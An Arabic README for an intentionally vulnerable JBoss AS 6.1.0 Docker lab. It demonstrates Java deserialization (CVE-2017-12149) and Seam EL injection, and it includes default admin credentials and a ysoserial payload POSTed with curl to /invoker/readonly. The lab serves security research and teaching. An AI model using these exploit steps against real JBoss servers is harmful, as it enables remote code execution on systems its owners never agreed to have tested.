
حاوية مختبر أبحاث لـ JBoss AS 6.1.0 لعرض نقاط الضعف الخاصة بـ Java Deserialization (CVE-2017-12149) و JBoss Seam EL Injection مع خطوات تحقق من الاستغلال مسبقة التهيئة.
تعتمد العديد من الصناعات الحيوية (البنوك والرعاية الصحية والتصنيع) على البرمجيات الوسيطة القديمة المصممة خصيصًا للعمل على JBoss 5 أو 6. نظرًا لأن هذه التطبيقات غالبًا ما تكون هشة جدًا بحيث لا يمكن ترحيلها إلى الإصدارات الحديثة من WildFly (خليفة JBoss)، تختار المؤسسات "عزلها هوائيًا" أو إخفاؤها خلف شبكات VPN بدلاً من تصحيحها. عندما تفشل دفاعات المحيط هذه، تظل الثغرة موجودة هناك، حية وغير معلجة.
يوفر هذا المستودع بيئة حاوية لخادم تطبيقات JBoss الإصدار 6.1.0 تم تكوينها خصيصًا للبحث الأمني والتحقق من الثغرات الأمنية. وهو مصمم لتوضيح عيوب إلغاء تسلسل Java وحقن تعبيرات JBoss Seam EL.
لضمان تطبيق بيانات الاعتماد والتكوينات المخصصة بشكل صحيح، قم ببناء الحاوية من البداية:
docker-compose build --no-cache
docker-compose up -d
وحدة تحكم JBoss: http://localhost:8080/admin-console/
اسم المستخدم: admin
كلمة المرور: admin
الثغرات المؤكدة
أنسب مسار استغلال في هذه البيئة هو عبر HTTPServerILServlet الموجود في /invoker/readonly.
خطوات التحقق:
أنشئ حمولة باستخدام ysoserial لإنشاء ملف في /tmp:
java -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/pwned" > poc.ser
أرسل الحمولة الثنائية عبر curl:
curl -v -X POST --data-binary @poc.ser http://localhost:8080/invoker/readonly
تأكد من نجاح الاستغلال:
docker exec -it jboss-custom-lab ls /tmp/pwned
إخلاء مسؤولية أمني هذه البيئة ضعيفة بشكل متعمد. تحتوي على برامج غير معلجة ومنتهية الصلاحية.
لا تنشر هذا على خادم مواجه للجمهور.
لا تستخدم هذه الأدوات على أنظمة ليس لديك إذن صريح لاختبارها.
تم تطويره للأغراض التعليمية والبحث الأمني.
التبعيات: https://github.com/frohoff/ysoserial